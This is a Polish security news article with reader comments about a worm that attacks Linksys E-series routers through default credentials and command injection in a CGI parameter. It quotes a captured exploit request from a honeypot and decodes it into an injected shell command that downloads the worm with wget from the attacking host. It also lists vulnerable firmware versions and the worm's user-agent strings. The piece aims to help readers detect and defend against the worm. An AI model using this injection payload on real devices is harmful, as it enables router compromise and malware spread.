Od co najmniej kilku tygodni internet przemierza robak, wykorzystujący nieznany błąd w wielu modelach ruterów Linksysa. Skanuje adresy IP, włamuje się do niezabezpieczonych urządzeń i wykorzystuje je do skanowania. Jak go rozpoznać?
O robaku po raz pierwszy przeczytaliśmy wczoraj w serwisie Internet Storm Center. Badacze ISC zauważyli, że coś regularnie skanuje porty 80 oraz 8080 ich honeypotów. Udało im się także złapać pierwszą próbę infekcji. Niestety sam robak do tej pory wymyka się analizie.
Jak zauważyć robaka
Jeden z operatorów telekomunikacyjnych zgłosił problem do ISC, ponieważ robak wysycał łącza jego klientów, skanując internet w poszukiwaniu podatnych urządzeń. Próbę takiego skanowania łatwo rozpoznać w logach dostępowych serwera www. Wygląda ona tak:
xx.95.189.69 - admin [08/Jan/2014:15:19:29] "GET /HNAP1/ HTTP/1.0" "" "Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224"
Elementem stałym jest żądanie GET do protokołu HNAP, podczas kiedy pole identyfikacji przeglądarki jest generowane losowo i rzadko się powtarza. Wywołań „GET /HNAP1/” możecie znaleźć w logach więcej (jest to plon starej dziury w D-Linkach), jednak tego robaka łatwo odróżnić, ponieważ w swoim zapytaniu używa pustego loginu oraz hasła „admin” – jest to domyślna kombinacja dla niektórych ruterów Linksysa. Sprawdźcie swoje logi – powinniście znaleźć co najmniej kilka wystąpień począwszy od października zeszłego roku (przykład tutaj – dzięki Marcin!.
Jak przebiega atak
Robak najpierw testuje, czy pod adresem IP znajduje się ruter z domyślnym hasłem administratora (jak powyżej). Drugi etap ataku ISC złapało na swoim honeypocie. Jest to następujące żądanie do serwera:
POST /[withheld].cgi HTTP/1.1 Host: [ip of honeypot]:8080 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ip of honeypot]:8080/ Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 518 %73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63 %74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f %6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74 %63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63 %64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20 %5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e %xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69 %64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31
Co prawda ISC ukryło fragment ścieżki, ale na 99% jest to „apply.cgi” – bardzo podobny atak na niektóre modele Linksysa, opierający się o brak weryfikacji parametrów zapytania do takiej własnie ścieżki opublikowała kilka miesięcy temu firma TrustWave.
Zakodowane polecenie po odkodowaniu wygląda tak:
submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2 &ttcp_ip=-h `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi` &StartEPI=1
Wygląda to na klasyczny brak weryfikacji treści przekazywanego parametru. Błąd ten jest wykorzystywany do pobrania kodu robaka z tego samego adresu IP, który przeprowadzał atak. Niestety sam robak dopiero co wpadł w ręce badaczy (każda pobrana próbka pliku ELF ma inny hasz MD5) i nie został jeszcze przeanalizowany, więc nie wiemy, jakie wykonuje operacje.
Które rutery są podatne
ISC twierdzi, że podatne są modele Linksys E1000 (wszystkie wersje) oraz Linksys E1200 z oprogramowaniem starszym niż 2.0.06. My przeanalizowaliśmy adresy IP przeprowadzające atak i znaleźliśmy wśród nich również modele E1500, E2500, E3200 oraz E4200 w poniższych wersjach:
- E1000 2.1.01 build 5
- E1200 1.0.00 build 11
- E1200 2.0.04 build 1
- E1200 2.0.05 build 2
- E1200 2.0.06 build 6
- E1500 1.0.01 build 4
- E1500 1.0.04 build 2
- E2500 1.0.01 build 3
- E2500 1.0.03 build 4
- E2500 1.0.04 build 1
- E2500 1.0.05 build 1
- E2500 1.0.05 build 2
- E2500 1.0.07 build 1
- E3200 1.0.00 build 13
- E3200 1.0.01 build 3
- E3200 1.0.03 build 9
- E3200 1.0.04 build 1
- E4200 1.0.02 build 13
- E4200 1.0.04 build 11
- E4200 1.0.05 build 7
Co ciekawe, nie byłby to pierwszy robak, który infekuje rutery Linksysa.
Jak się zabezpieczyć?
Przede wszystkim rekomendujemy wyłączenie zdalnego dostępu do rutera, a po drugie zmianę domyślnego hasła do panelu administratora. Jeśli już to zrobiliście, to ten atak nie powinien Wam zagrozić.
Komentarze
Ciekawe, czy ma dużą bazę user-agentów.
Raczej krótką.
Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)
Mozilla/2.0 (compatible; MSIE 3.0B; Win32)
Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)
Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0
Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]
Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)
Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7
Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1
Opera/9.0 (Windows NT 5.1; U; en)
Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224
Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1
Dzięki :) Zastanawiałem się o ile zwiększa długość robaka :) I o ile ma jakieś szyfrowane części, jak by to ułatwiło odkodowanie.
Jak najlepiej się zabezpieczyć? Nie używać komputera i Internetu :P